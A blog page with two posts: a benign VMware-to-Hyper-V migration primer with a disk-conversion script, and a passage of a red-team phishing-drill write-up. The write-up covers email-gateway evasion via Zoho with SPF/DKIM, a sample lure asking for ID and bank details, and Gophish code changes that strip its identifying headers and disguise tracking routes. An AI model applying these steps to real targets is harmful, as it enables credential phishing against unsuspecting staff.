毅种循环

VMware 与 Hyper-V 基础扫盲：差异、迁移与脚本实战

Thu, 19 Mar 2026 00:00:00 GMT

很多人第一次接触虚拟机，都是从 VMware Workstation 开始的。它安装方便、资料多、界面也直观，所以无论是装测试环境、做开发、跑实验机，还是折腾一些旧系统，VMware 都是很常见的入门选择。

但用久了之后，很多人会开始遇到几个现实问题：Windows 自带的虚拟化能力越来越强、WSL2 和 Windows Sandbox 都依赖 Hyper-V、某些安全功能会和 VMware 争抢虚拟化支持、迁移旧虚拟机时又会碰到一堆看不懂的磁盘文件。这个时候，问题就会变得很实际：

VMware 和 Hyper-V 到底有什么区别？什么时候该继续用 VMware，什么时候又值得迁到 Hyper-V？

这篇文章尽量不用太夸张的表达，而是按“基础扫盲”的思路，把下面几件事讲清楚：

VMware Workstation 和 Hyper-V 分别是什么
两者底层架构到底差在哪
日常使用时，体验会体现在哪些地方
为什么 VMware 目录里经常会出现一堆零碎的 .vmdk
把 VMware 虚拟机迁到 Hyper-V 时，应该怎么理解磁盘转换
仓库里的 vmdk_to_vhdx.py 脚本到底做了什么

如果你只是想先建立一个基本认知，这篇文章就够用了。如果你已经准备迁移，文末也给了比较实用的操作建议和完整脚本。

一、先把概念说清楚：虚拟机到底是什么

虚拟机本质上就是“在一台真实电脑里，再模拟出一台电脑”。这台模拟出来的电脑可以有自己的 CPU、内存、硬盘、网卡、BIOS 或 UEFI，然后在里面安装另一个操作系统。

比如你现在用的是 Windows 11 主机，但你可以在虚拟机里再装一个 Ubuntu、Windows Server，甚至是更老的系统。这样做的好处很明显：

不影响主机环境
方便测试软件和配置
适合做开发、学习、实验和隔离
出问题了可以删掉重来

而 VMware Workstation、Hyper-V 这样的工具，扮演的就是“虚拟机管理者”的角色。更准确一点说，它们属于 Hypervisor，也就是虚拟化平台。

二、VMware Workstation 和 Hyper-V 分别是什么

1. VMware Workstation

VMware Workstation 是桌面端非常成熟的虚拟化产品。它的优点主要有这些：

上手门槛低
图形界面完整
对旧系统、老镜像的兼容性通常不错
很多人手里本来就积累了大量 VMware 格式的虚拟机

如果你的主要诉求是“在自己的电脑上方便地开几个虚拟机”，VMware Workstation 一直都是一个比较稳妥的方案。

2. Hyper-V

Hyper-V 是微软提供的虚拟化平台，集成在 Windows 专业版、企业版和 Windows Server 中。它不是单纯“装一个虚拟机软件”那么简单，而更像系统级能力。

这也是为什么很多 Windows 相关功能都会和它绑定，比如：

WSL2
Windows Sandbox
一部分基于虚拟化的安全特性
Windows Server 场景下的原生虚拟化管理

如果你长期在 Windows 体系内工作，尤其是开发、运维、测试或者安全研究相关工作，Hyper-V 的存在感会越来越强。

三、两者最大的差别：底层架构不一样

理解 VMware 和 Hyper-V 的关键，不在界面，而在架构。

1. VMware Workstation 更接近宿主型虚拟化

可以把它理解为：它运行在你的 Windows 之上。虽然底层也会调用硬件虚拟化能力，但从使用感知上看，它仍然像一个“运行在宿主系统里的大型应用”。

这种方式的好处是：

安装和卸载更直观
对个人用户更友好
和桌面环境结合得比较自然

它的代价也很明显：

某些场景下会和 Windows 自己的虚拟化能力产生冲突
在系统底层资源调度上，不如原生虚拟化方案那样直接

2. Hyper-V 更接近系统级、原生的虚拟化层

开启 Hyper-V 之后，Windows 的角色其实会发生变化。简单说，不再是“Windows 运行了一个虚拟机软件”，而更像是“Windows 本身也运行在 Hyper-V 管理的环境里”。

这件事对新手来说最容易混淆，但理解之后，你会更容易明白下面这些现象：

为什么启用 Hyper-V 后，某些依赖 VT-x 或 AMD-V 的软件表现会变化
为什么 WSL2 和 Sandbox 要依赖它
为什么 Hyper-V 在 Windows 生态里的整合度更高

你不一定要记住非常严谨的虚拟化术语，但至少要知道：这两者不是“同类软件换个皮肤”，而是设计思路本来就不一样。

四、作为普通用户，实际体验上会差在哪

如果不聊架构，只看日常使用，可以先用下面这个表快速理解：

| 对比项 | VMware Workstation | Hyper-V | | --- | --- | --- | | 上手体验 | 更像普通桌面软件 | 更像系统功能 | | Windows 生态整合 | 一般 | 很强 | | 对旧虚拟机兼容 | 通常更友好 | 迁移时可能需要调整 | | 磁盘格式 | 常见为 VMDK | 常见为 VHD / VHDX | | 网络配置 | 图形化较直观 | 功能强，但概念更多 | | 与 WSL2 / Sandbox 协同 | 可能有兼容问题 | 原生协同 | | 适合人群 | 个人学习、桌面实验 | Windows 深度用户、开发运维、服务器场景 |

什么情况下更适合继续用 VMware

你已经积累了很多 VMware 虚拟机模板
你主要是个人桌面使用，不依赖 Hyper-V 生态
你更在意“开箱即用”和旧环境兼容

什么情况下更值得迁到 Hyper-V

你本来就在 Windows 专业版或服务器环境里工作
你需要 WSL2、Sandbox、容器、虚拟化安全等能力协同
你希望虚拟化方案尽量和 Windows 原生体系保持一致

这不是谁绝对更强，而是你的使用场景变了，适合的工具也会跟着变。

五、为什么 VMware 目录里总有一堆奇怪的磁盘文件

很多人迁移虚拟机时，最先被劝退的不是 Hyper-V，而是 VMware 自己那堆磁盘文件名。

你本来以为虚拟机硬盘应该就是一个文件，结果目录里却出现了：

xxx.vmdk
xxx-flat.vmdk
xxx-s001.vmdk
xxx-f001.vmdk
还有可能出现快照相关文件

这其实很正常，因为 VMDK 不是单指“一个样子的文件”，而是一类磁盘格式。

1. 主 VMDK 和数据 VMDK 不是一回事

有些 .vmdk 文件本身并不装真正的数据，它更像一个描述文件，记录这个虚拟磁盘应该去哪里找实际内容。

真正的大块数据，可能被放在：

一个单独的大文件里
多个拆分的小文件里
一个 -flat.vmdk 文件里

所以你看到一个体积很小的 .vmdk，不要急着觉得它“没内容”。它有可能只是索引入口。

2. 为什么会拆成很多段

历史上，一个很常见的原因是兼容文件系统限制，比如早期 FAT32 对单文件大小有限制。后来这种拆分方式也被保留下来，方便搬运、复制或者某些工具链处理。

常见情况包括：

-s001.vmdk：通常表示拆分的动态扩展磁盘
-f001.vmdk：通常出现在预分配、拆分存储的场景
-flat.vmdk：常见于描述文件配套的大数据文件

对迁移来说，最重要的一点不是把所有分片一个个手动处理，而是先找到“真正的入口文件”。

六、VMDK 和 VHDX 到底有什么区别

迁移 VMware 到 Hyper-V，本质上最核心的一步，就是把 VMDK 转成 VHDX。

1. VMDK 是 VMware 常见的磁盘格式

它的特点是生态成熟、历史包袱也比较多。它支持多种组织方式，所以灵活，但也容易让新手困惑。

2. VHDX 是 Hyper-V 更推荐使用的格式

相较于更老的 VHD，VHDX 可以理解成更新一代的格式，适合现在的 Windows 和 Hyper-V 环境。它通常有这些优势：

支持更大的磁盘容量
对异常断电、元数据保护等场景更友好
在 Hyper-V 环境里兼容性更好
更符合微软当前的虚拟化使用习惯

从迁移目标来看，你一般不需要执着于“保留 VMware 原来的磁盘组织方式”，而是应该尽量把它整理成 Hyper-V 更容易接纳的 VHDX。

七、为什么有的人迁移后能开机，有的人会报错

磁盘格式转换只是第一步。即使你成功把 VMDK 转成了 VHDX，虚拟机能不能顺利启动，还取决于几个容易被忽略的因素。

1. 虚拟机代数不匹配

Hyper-V 创建虚拟机时，最常见的选择之一就是“第 1 代”还是“第 2 代”。

第 1 代更接近传统 BIOS 启动
第 2 代更接近 UEFI 启动

如果你迁移的是比较老的 Linux、老 Windows Server，或者原本就是传统 BIOS 安装的系统，往往应该优先尝试第 1 代。

很多“明明磁盘已经转好了但就是黑屏”的问题，最后都不是磁盘损坏，而是代数选错了。

2. 控制器类型变化

原虚拟机里使用的磁盘控制器、网卡类型、启动顺序，迁移到新平台后未必一模一样。有些系统驱动比较宽容，有些系统则比较敏感。

3. 快照链没有理清

如果原 VMware 虚拟机存在快照，那么你看到的那个 .vmdk 可能不是一块完整磁盘，而是一条链上的某个节点。这种情况下，直接抓错文件去转，最后得到的结果就可能不完整，甚至无法启动。

所以迁移前，最好先确认：

当前虚拟机有没有快照
你拿去转换的，是不是当前正在使用的那块磁盘入口

八、磁盘转换这件事，到底是在做什么

很多教程只会告诉你“运行某条命令”，但不知道原理，出了问题就很难定位。

实际上，转换工具做的事情可以概括为三步：

读取 VMware 的磁盘描述信息
按顺序把底层数据块重新拼起来
用目标格式重新写出一块新的虚拟磁盘

也就是说，转换不是简单改后缀名，而是一次“重新组织磁盘结构”的过程。

在这个场景里，qemu-img 是非常常用的命令行工具，因为它支持的磁盘格式很多，而且处理这类跨平台转换比较稳定。

一个典型的转换命令像这样：

qemu-img convert -f vmdk -O vhdx "源磁盘.vmdk" "目标磁盘.vhdx"

这里有一个关键点：你传给 qemu-img 的，通常应该是那个主入口 .vmdk，而不是随便挑一个 -s001.vmdk 或 -f001.vmdk 分片。

九、为什么转换完以后，Hyper-V 还是可能不满意

有些人已经成功生成了 .vhdx，结果在 Hyper-V 里做检查点或进一步操作时还是报错。这类问题里，一个比较常见的原因是文件系统层面的“稀疏属性”。

简单理解就是：

某些工具在生成磁盘文件时，会让 NTFS 把这个文件标记成一种节省空间的稀疏文件
但 Hyper-V 某些场景下对这种属性并不友好

如果确实遇到这类问题，可以尝试用 Windows 自带的 fsutil 去清理这个标记：

fsutil sparse setflag "目标磁盘.vhdx" 0

这不是所有人都一定会遇到的问题，但如果你已经能确定磁盘转换成功、文件也没坏，Hyper-V 却还是在检查点或磁盘操作时报错，这就是一个值得排查的方向。

十、仓库里的 `vmdk_to_vhdx.py` 脚本在做什么

如果你不想手动一个个去找磁盘、一个个敲命令，那么当前目录里的 vmdk_to_vhdx.py 脚本就是为了简化这个过程。

它的思路可以概括为：

扫描本机磁盘，寻找可能的 VMware 虚拟机目录
尽量避开明显的分片数据文件，只保留更可能正确的主 .vmdk
调用 qemu-img 把它们转换成 .vhdx
在需要时调用 fsutil 清理稀疏属性

也就是说，它做的不是“发明一种新的转换方式”，而是把原本你需要手工完成的几步流程串了起来。

1. 这个脚本适合什么场景

本机上散落着多个 VMware 虚拟机目录，不想手动翻找
目录里拆分磁盘很多，怕拿错入口文件
想把“扫描、转换、修正属性”这几步自动化

2. 使用前先确认两件事

第一，系统里已经安装 qemu-img，而且已经加到环境变量里。

第二，建议使用管理员权限打开 PowerShell 或命令提示符。这样脚本在执行 fsutil sparse setflag 时更不容易因为权限问题失败。

3. 运行方式

python .\vmdk_to_vhdx.py

如果你是第一次迁移，更建议先拿一台不重要的测试虚拟机做实验。这样可以先验证自己的磁盘选择、代数选择、启动方式判断是否正确，而不是一上来就拿最重要的工作环境开刀。

4. 完整脚本

import os
import subprocess
import ctypes
import sys
import re
from pathlib import Path

def is_admin():
    try:
        return ctypes.windll.shell32.IsUserAnAdmin()
    except:
        return False

def check_dependencies():
    print("[*] 正在检查依赖环境...")
    # 检查 qemu-img
    try:
        subprocess.run(['qemu-img', '--version'], stdout=subprocess.PIPE, stderr=subprocess.PIPE, check=True)
        print("[+] qemu-img 已安装，状态正常。")
    except FileNotFoundError:
        print("[-] 错误：找不到 'qemu-img' 命令。")
        print("    请确保您已经安装了 QEMU 并将其添加到了系统的 PATH 环境变量中。")
        print("    下载地址: https://qemu.weilnetz.de/w64/")
        sys.exit(1)
    
    # 检查管理员权限
    if not is_admin():
        print("[!] 警告：当前未以管理员权限运行！")
        print("    执行 `fsutil sparse setflag` 命令可能需要管理员权限。")
        print("    建议您以管理员身份重新运行此终端/控制台，或者忽略此警告继续。")
        choice = input("    是否继续运行？(y/n) [n]: ").strip().lower()
        if choice != 'y':
            sys.exit(0)
    else:
        print("[+] 管理员权限检查通过。")

def find_vmdk_files():
    print("\n[*] 正在全盘深度扫描存在的虚拟机配置文件 (.vmx) ... (这可能需要几分钟，请耐心等待)")
    drives = [chr(x) + ':\\' for x in range(ord('C'), ord('Z')+1) if os.path.exists(chr(x) + ':\\')]
    
    vmdk_targets = []
    
    # 我们首选寻找 .vmx 配置文件，从而定位主磁盘，这样可以避免被数百个拆分文件淹没
    for drive in drives:
        print(f"    正在扫描 {drive} 驱动器...")
        # 排除一些系统和缓存目录加速搜索
        exclude_dirs = ['$Recycle.Bin', 'Windows', 'Program Files', 'Program Files (x86)', 'ProgramData', 'AppData']
        
        for root, dirs, files in os.walk(drive):
            dirs[:] = [d for d in dirs if d not in exclude_dirs]
            
            for file in files:
                if file.endswith('.vmx'):
                    vmx_path = os.path.join(root, file)
                    try:
                        with open(vmx_path, 'r', encoding='utf-8', errors='ignore') as f:
                            content = f.read()
                            # 尝试解析 scsi0:0.fileName 等常见的磁盘挂载点
                            match = re.search(r'fileName\\s*=\\s*"([^"]+\\.vmdk)"', content)
                            if match:
                                vmdk_name = match.group(1)
                                full_vmdk_path = os.path.join(root, vmdk_name)
                                full_vmdk_path = os.path.normpath(full_vmdk_path)
                                if os.path.exists(full_vmdk_path):
                                    vmdk_targets.append(full_vmdk_path)
                    except Exception as e:
                        pass
                        
                # 同时也寻找一下独立的 vmdk，但是要排除雷电模拟器和分块文件 (-s001.vmdk)
                if file.endswith('.vmdk'):
                    # 过滤掉常见的拆分文件特征 (-s001.vmdk, -f001.vmdk, -flat.vmdk 等)
                    if re.search(r'-(s\\d{3}|f\\d{3}|flat|\\d+)\\.vmdk$', file.lower()):
                        continue
                    if 'ldplayer' in root.lower() or 'leidian' in root.lower():
                        continue
                        
                    full_vmdk_path = os.path.join(root, file)
                    # 去重，如果前面通过 vmx 已经找到了这个，就不再添加
                    if full_vmdk_path not in vmdk_targets:
                         vmdk_targets.append(full_vmdk_path)

    # 去重
    vmdk_targets = list(set(vmdk_targets))
    return vmdk_targets

def convert_vmdk(vmdk_path):
    print(f"\n[{'='*50}]")
    print(f"[*] 开始处理: {vmdk_path}")
    
    vmdk_path_obj = Path(vmdk_path)
    base_dir = vmdk_path_obj.parent
    base_name = vmdk_path_obj.stem
    
    vhdx_name = f"{base_name}.vhdx"
    vhdx_path = base_dir / vhdx_name
    
    # 冲突处理：如果 vhdx 已存在，添加自动编号
    counter = 1
    while vhdx_path.exists():
        vhdx_name = f"{base_name}_{counter}.vhdx"
        vhdx_path = base_dir / vhdx_name
        counter += 1
        
    print(f"[*] 目标输出: {vhdx_path}")
    
    # 第一步：转换磁盘格式 (qemu-img)
    cmd_convert = ['qemu-img', 'convert', '-p', '-f', 'vmdk', '-O', 'vhdx', str(vmdk_path), str(vhdx_path)]
    print(f"[*] [1/2] 正在进行动态扩展格式转换 (这可能需要较长时间，请不要关闭窗口)...")
    print(f"    > {' '.join(cmd_convert)}")
    
    try:
        # 使用 stdout=None 可以直接将 qemu-img 的进度输出到控制台
        subprocess.run(cmd_convert, check=True)
        print("[+] 格式转换完成！")
    except subprocess.CalledProcessError as e:
        print(f"[-] qemu-img 转换失败。错误码: {e.returncode}")
        # 如果转换失败了，没必要继续执行 fsutil
        return False
    except FileNotFoundError:
        print("[-] 系统中未找到 qemu-img 命令。")
        return False
        
    # 第二步：去除稀疏属性 (fsutil sparse setflag)
    cmd_fsutil = ['fsutil', 'sparse', 'setflag', str(vhdx_path), '0']
    print(f"[*] [2/2] 正在优化磁盘属性 (移除稀疏标记)...")
    print(f"    > {' '.join(cmd_fsutil)}")
    
    try:
        result = subprocess.run(cmd_fsutil, stdout=subprocess.PIPE, stderr=subprocess.PIPE, text=True)
        if result.returncode == 0:
            print("[+] 优化成功！已成功去除稀疏属性标记。")
        else:
             print(f"[-] fsutil 执行遇到问题 (可能是由于权限不足或不支持该特性):")
             print(f"    输出信息: {result.stderr.strip()}")
    except FileNotFoundError:
        print("[-] 未在系统中找到 fsutil 命令，跳过属性修改环节。")

    print(f"[+] '{base_name}' 的全部迁移步骤完成！")
    print(f"    准备就绪的 Hyper-V 磁盘文件位于: {vhdx_path}")
    print(f"[{'='*50}]")
    return True


def main():
    print("=====================================================")
    print("      VMware (VMDK) 到 Hyper-V (VHDX) 智能迁移工具      ")
    print("=====================================================\n")
    
    check_dependencies()
    
    print("\n请选择您的操作模式：")
    print(" 1. 自动全盘扫描您本地的 VMware 虚拟机 (推荐)")
    print(" 2. 手动指定一个 .vmdk 文件路径")
    
    try:
        mode = input("\n请输入您的选择 [1]: ").strip()
    except KeyboardInterrupt:
        sys.exit(0)
        
    if mode == '2':
        manual_path = input("请输入 .vmdk 文件的绝对路径（可以包含引号）: ").strip()
        manual_path = manual_path.strip('"').strip("'")
        if os.path.exists(manual_path) and manual_path.lower().endswith('.vmdk'):
            convert_vmdk(manual_path)
        else:
            print("[-] 错误：文件不存在或不是 .vmdk 文件。")
            
    else:
        vmdks = find_vmdk_files()
        
        if not vmdks:
            print("\n[-] 没有在您的磁盘上找到可识别的、主要的 .vmdk 文件。")
            print("    您可以尝试直接使用模式 2 手动输入路径来进行转换。")
            sys.exit(0)
            
        print("\n\n[*] 扫描完成！找到以下可转换的虚拟磁盘（已排除碎片文件）：")
        print("-" * 70)
        for i, vmdk in enumerate(vmdks, 1):
            file_size_gb = os.path.getsize(vmdk) / (1024**3)
            print(f" [{i}] {os.path.basename(vmdk)} (主索引大小/结构大小: {file_size_gb:.4f} GB)")
            print(f"     路径: {vmdk}")
            print("-" * 70)
            
        print("\n请输入您要转换的磁盘序号。")
        print(" (支持多选，用逗号分隔，例如：1, 3, 5。 输入 'all' 转换全部，输入 'q' 退出)")
        
        try:
            choice = input("\n您的选择: ").strip().lower()
        except KeyboardInterrupt:
            sys.exit(0)
            
        if choice == 'q' or not choice:
            print("已取消退出。")
            sys.exit(0)
            
        selected_indexes = []
        if choice == 'all':
            selected_indexes = list(range(1, len(vmdks) + 1))
        else:
            try:
                # 解析用户输入的数字列表，如 '1,2,3' -> [1, 2, 3]
                parts = choice.split(',')
                for p in parts:
                    idx = int(p.strip())
                    if 1 <= idx <= len(vmdks):
                        selected_indexes.append(idx)
            except ValueError:
                print("[-] 您的输入格式有误，请重新运行脚本。")
                sys.exit(1)
                
        if not selected_indexes:
            print("[-] 未选择任何有效的序号。程序退出。")
            sys.exit(1)
            
        print(f"\n[*] 您选择了 {len(selected_indexes)} 个虚拟机进行排队转换。")
        for idx in selected_indexes:
            target_vmdk = vmdks[idx - 1]
            convert_vmdk(target_vmdk)
            
    print("\n[+] 所有指定的任务已运行完毕。")

从文章角度看，这段脚本最有价值的地方，不是代码技巧有多复杂，而是它把“找入口文件”这件最容易出错的事自动化了。很多人迁移失败，问题不在转换命令本身，而是在最开始就拿错了 .vmdk。

十一、迁移到 Hyper-V 之前，建议先做这几个检查

这部分很基础，但很有用，能帮你少踩很多坑。

1. 先备份原始虚拟机目录

不要一边转换，一边删除 VMware 原文件。至少在 Hyper-V 那边确认能正常开机前，原始目录都应该保留着。

2. 尽量关闭或合并不必要的快照

快照链越复杂，迁移时出错的概率越高。能在 VMware 里先整理好的，尽量先整理。

3. 记下原系统的启动方式

如果你知道它原来是 BIOS 还是 UEFI，后面在 Hyper-V 创建代数时会省很多事。

4. 确认网络方案

Hyper-V 的网络交换机分为外部、内部、专用几种。很多人第一次用时会卡在这里。

简单理解：

外部交换机：虚拟机能直接出网
内部交换机：主机和虚拟机能互通，但默认不直接连外网
专用交换机：虚拟机之间互通，主机不参与

如果你迁移的是实验环境、分析环境或者恶意样本测试环境，内部交换机通常是一个更稳妥的起点。

十二、如果只是入门，应该怎么选

最后把结论说得直白一点。

如果你是下面这种情况，继续用 VMware 往往更省心：

想快速装个虚拟机就开始用
旧镜像很多，而且一直运行正常
没有强烈的 Windows 原生整合需求

如果你是下面这种情况，Hyper-V 更值得投入：

你的工作环境本来就围绕 Windows 生态
你需要和 WSL2、Sandbox、Windows 安全能力协同
你打算长期维护一套更偏原生的 Windows 虚拟化方案

真正重要的不是“谁更高级”，而是你现在的工作流更适合谁。

十三、一个适合新手的理解方式

如果你还是觉得抽象，可以把两者理解成：

VMware Workstation 更像一套成熟、独立、面向个人桌面的虚拟机工具
Hyper-V 更像 Windows 体系内建的虚拟化基础设施

前者强调“拿来就用”，后者强调“和系统深度协同”。

这也是为什么很多人一开始更喜欢 VMware，但随着开发、测试、运维、安全研究的工作逐渐深入，最后又会回到 Hyper-V。

不是因为前者突然不好用了，而是因为后者在某些 Windows 场景下，确实更顺手。

结语

如果只用一句话来概括这篇文章，那就是：

从 VMware 迁移到 Hyper-V，不只是换一个软件图标，而是在切换一套虚拟化思路。

为什么两边架构不同
为什么 VMware 会有那么多形态各异的 VMDK
为什么转换后还要关心启动方式、代数和文件属性

把这些基础认知补上之后，迁移这件事就不会再显得很玄学。很多看起来复杂的问题，最后也只是“选错了入口文件”或者“代数选错了”这么简单。

关于Gophish：从二次开发到语义Fuzz的实战之路

Sun, 01 Feb 2026 00:00:00 GMT

0x00 项目背景与前提

0.1 项目场景

最近接了个钓鱼演练的活，整的焦头烂额，连续爆肝两天，我的主要目标是通过社会工程学手段测试企业员工的安全意识和邮件网关的防护能力。客户环境如下：

目标规模: 5000+ 员工，多个事业部
邮件系统: coremail
防护措施: 未知

0.2 初始工具选择

作为穷人，公司也并没有提供商业工具，我选择了 Gophish 作为基础钓鱼平台，原因如下：

✅ 开源且成熟稳定
✅ 支持完整的项目管理
✅ 内置邮件追踪和统计
✅ Go语言开发，便于二次开发

0.3 面临的核心挑战

然而，直接使用原版Gophish进行测试时，我遇到了100%的拦截率：

测试结果（Day 1）:
├─ 发送邮件: 50 封
├─ 成功投递: 0 封
├─ 被拦截: 50 封
└─ 拦截原因: "Suspected phishing activity detected"

0x01 发件基础设施搭建：从失败到可信域绕过

在正式进行钓鱼测试前，我首先需要解决邮件投递问题。

1.1 第一次尝试：Postfix SMTP（失败）

初始方案

最开始，我尝试使用自建Postfix邮件服务器直接发送钓鱼邮件：
（至于为什么不用ewomail，网上都推荐的这个，因为不是centos，没办法跑，直接找了最简单的进行测试了。）

# Postfix配置（Ubuntu 20.04）
sudo apt-get install postfix

# 基础配置
myhostname = mail.phishing-domain.com
mydomain = phishing-domain.com
myorigin = $mydomain

# 这里我并没有配置真实的DNS MX记录，直接伪造的一个相近邮箱进行发送测试。

测试结果

QQ邮箱通过。

163邮箱通过。

189邮箱失败，550。

客户给的测试邮箱失败 550。

日志输出：

Dec 28 10:23:45 postfix/smtp[12345]: connect to mx.189.cn[1.2.3.4]:25: Connection timed out
Dec 28 10:24:12 postfix/smtp[12345]: 550 5.7.1 Message rejected due to poor sender reputation

猜测失败原因：

| 问题 | | 189网关判定 | | --- | --- | --- | | IP信誉低 | | 垃圾邮件发送源 | | 无SPF记录 | | 伪造发件人 | | 无DKIM签名 | | 身份不可信 | | 域名年龄新 | | 钓鱼域名特征 | | 反向DNS缺失 | | 非正规邮件服务器 |

投递率：0% （全部被189网关在SMTP握手阶段拒绝）

1.2 第二次尝试：Zoho企业邮箱（成功）

解决思路

既然自建服务器信誉不足，我决定借助成熟的企业邮箱服务：

选择Zoho Mail：免费企业邮箱，支持自定义域名
域名准备：购买类似域名，没要求就以便宜的为主了
完整配置：SPF、DKIM、DMARC三件套

Zoho邮箱配置过程

步骤1：注册Zoho企业邮箱

1. 访问 https://www.zoho.com/mail/
2. 选择免费版（支持最多5个邮箱账户）
3. 验证域名所有权（DNS TXT记录验证）

步骤2：配置DNS记录

# 1. MX记录（指向Zoho服务器）
@  IN  MX  10  mx.zoho.com.
@  IN  MX  20  mx2.zoho.com.
@  IN  MX  50  mx3.zoho.com.

# 2. SPF记录（授权Zoho代发）
@  IN  TXT  "v=spf1 include:zoho.com ~all"

# 3. DKIM记录（邮件签名公钥）
zmail._domainkey  IN  TXT  "v=DKIM1; k=rsa; p=MIGfMA0GCSqGDQEBAQUAA4GNADCBiQKBgQC..."

# 4. DMARC记录（域名邮件政策）
_dmarc  IN  TXT  "v=DMARC1; p=none; rua=mailto:dmarc@example.com"

步骤3：验证配置

# 检查SPF记录
dig TXT phishing-domain.com +short
# 输出: "v=spf1 include:zoho.com ~all"

# 检查DKIM记录
dig TXT zmail._domainkey.phishing-domain.com +short
# 输出: "v=DKIM1; k=rsa; p=MIGfMA0GCS..."

# 检查DMARC记录
dig TXT _dmarc.phishing-domain.com +short
# 输出: "v=DMARC1; p=none; rua=mailto:dmarc@example.com"

步骤4：创建发件账户

邮箱地址: hr@phishing-domain.com
显示名称: 人力资源部
签名: 人力资源部 | phishing-domain.com

测试结果（可信域绕过成功）

第一轮测试：纯文本邮件

# 使用Zoho SMTP发送测试
import smtplib
from email.mime.text import MIMEText

msg = MIMEText("这是一封测试邮件", 'plain', 'utf-8')
msg['From'] = 'hr@phishing-domain.com'
msg['To'] = 'target@189.cn'
msg['Subject'] = '测试通知'

server = smtplib.SMTP_SSL('smtp.zoho.com', 465)
server.login('hr@phishing-domain.com', 'password')
server.send_message(msg)
server.quit()

结果：

SMTP响应: 250 OK
189网关验证: SPF PASS, DKIM PASS
投递状态: 成功投递至收件箱

重大突破：通过Zoho企业邮箱 + SPF/DKIM/DMARC配置，189是可以收到邮件的。

正当我以为一切都结束的时候，给客户发，得到的回复依然是收不到。

‍

1.3 第三次尝试：钓鱼模板发送（再次失败）

虽然可信域问题解决了，但当我发送真实钓鱼内容时，又遇到了新的拦截：

测试邮件（含钓鱼内容）

From: hr@phishing-domain.com
To: target@189.cn
Subject: 【重要】2025年终奖发放通知

各位同事，您好：

现正式启动年终奖金发放信息核对工作！

请点击以下链接登录系统核对您的身份证号和银行卡信息：
http://portal.phishing-domain.com/verify?id=xxx

人力资源部
2025年12月28日

测试结果

>>> MAIL FROM:<hr@phishing-domain.com>
<<< 250 OK
>>> RCPT TO:<target@189.cn>
<<< 250 OK
>>> DATA
<<< 354 Start mail input
>>> [发送邮件内容...]
<<< 550

这就很有意思了，众所周知大企业一般布有企业级邮件网关，那么他邮件网关到底是拦截的什么，是什么策略？这些我们都不得而知，只有一点点fuzz了。

猜测失败原因：

| 检测层 | 结果 | 详情 | | --- | --- | --- | | ✅ SPF验证 | PASS | Zoho授权发送 | | ✅ DKIM验证 | PASS | 邮件签名有效 | | ✅ 域名信誉 | PASS | Zoho企业邮箱可信 | | ❌ 内容检测 | FAIL | 触发关键词过滤 |

猜测被拦截的关键词：

❌ 主题: "年终奖"
❌ 正文: "年终奖金"、"身份证号"、"银行卡"
❌ 行为: "请点击链接"
❌ URL: "verify"路径

1.4 阶段性总结

经过几轮尝试，我得出以下结论：

已解决的问题

可信域检测 → 通过Zoho企业邮箱 + SPF/DKIM/DMARC配置绕过
IP信誉问题 → 使用Zoho的可信IP池
SMTP握手 → 正常完成，不会在连接阶段被拒绝

仍存在的问题

内容关键词检测 → 189网关对邮件内容进行深度扫描
钓鱼模式识别 → "点击链接+验证信息"等模式被识别
URL路径检测 → "verify"、"login"等路径触发拦截

下一步策略

既然可信域问题已解决，但内容仍被拦截，我需要：

对Gophish进行二次开发，去除工具指纹。
继续FUZZ邮件内容找到网关盲区。

这也是本文后续章节的核心内容。

0x02 二次开发阶段：去指纹化改造

2.1 指纹分析

通过我能够发送成功的邮箱获取到未改造前的eml，我识别出以下Gophish特征：

邮件头特征

X-Gophish-Contact: ...
X-Mailer: gophish
X-Gophish-Signature: ...
Message-ID: <...@gophish>

‍

URL特征

http://phish.test/?rid=aBc123

服务端特征

// 原始代码 controllers/phish.go
const ServerName = "gophish"

// HTTP响应头
Server: gophish

2.2 改造策略

感觉特征有点多，基于分析结果，决定先把Gophish本身的特征改一下。

改造清单

| 模块 | 原始特征 | 改造方案 | 文件位置 | | --- | --- | --- | --- | | 邮件头 | X-Gophish-* | 完全移除或伪造成业务头 | models/email_request.go | | Mailer | X-Mailer: gophish | 伪造成常见邮件客户端 | models/email_request.go | | 服务端 | Server: gophish | 移除或伪装成Nginx | config/config.go | | 追踪路由 | /track | → /resource/image/pixel.png | controllers/route.go | | 上报路由 | /report | → /api/v1/status | controllers/route.go | | 静态资源 | gophish.css | → app.css | static/, templates/ | | 404页面 | Gophish默认页面 | 伪造Nginx 404 | controllers/phish.go |

核心代码改造

1. 移除服务端标识

// config/config.go
type Config struct {
    AdminConf AdminServer   `json:"admin_server"`
    PhishConf PhishServer   `json:"phish_server"`
    // ServerName string     // 🔥 直接删除此字段
}

2. 邮件头特征处理

对比原版Gophish和修改后的版本：

// models/email_request.go - Generate()函数

 func (s *EmailRequest) Generate(msg *gomail.Message) error {
     // ... 前置代码 ...
     
-    // 原版Gophish：添加透明度标识头
-    msg.SetHeader("X-Mailer", config.ServerName)  // "gophish"
-    if conf.ContactAddress != "" {
-        msg.SetHeader("X-Gophish-Contact", conf.ContactAddress)
-    }
     
+    // 改进方案：完全不设置Gophish特征头
+    // 替代方案：添加常见的业务邮件头
+    msg.SetHeader("X-Priority", "1")
+    msg.SetHeader("Importance", "High")
+    msg.SetHeader("MIME-Version", "1.0")
     
     // 解析自定义邮件头（用户可配置）
     for _, header := range s.SMTP.Headers {
         key, err := ExecuteTemplate(header.Key, ptx)
         value, err := ExecuteTemplate(header.Value, ptx)
         msg.SetHeader(key, value)
     }
     
     // ... 后续代码 ...
 }

关键改动：

不设置 X-Mailer: gophish
不设置 X-Gophish-Contact
不设置 X-Gophish-Signature
添加 X-Priority: 1（提升邮件优先级）
添加 Importance: High（标记重要邮件）会在邮箱里面自主设置为红色叹号
保留用户自定义邮件头功能（SMTP配置中可添加）

说明：

原版Gophish出于"透明度"考虑，会主动添加X-Gophish-*头标识自己
我的改进方案是完全不设置这些头，让邮件看起来像普通业务邮件
通过添加X-Priority和Importance头，模仿Outlook等客户端发送的重要邮件

3. 混淆追踪路由

// controllers/route.go
func (ps *PhishingServer) RegisterRoutes() {
    router := mux.NewRouter()
    
    // 原始路由：router.HandleFunc("/track", ps.TrackHandler)
    // 新路由：伪装成静态资源
    router.HandleFunc("/resource/image/pixel.png", ps.TrackHandler)
    
    // 原始路由：router.HandleFunc("/report", ps.ReportHandler)  
    // 新路由：伪装成API端点
    router.HandleFunc("/api/v1/status", ps.ReportHandler)
    
    // 添加伪造的404处理
    router.NotFoundHandler = http.HandlerFunc(ps.FakeNginx404)
}

4. 伪造Nginx 404页面

// controllers/phish.go
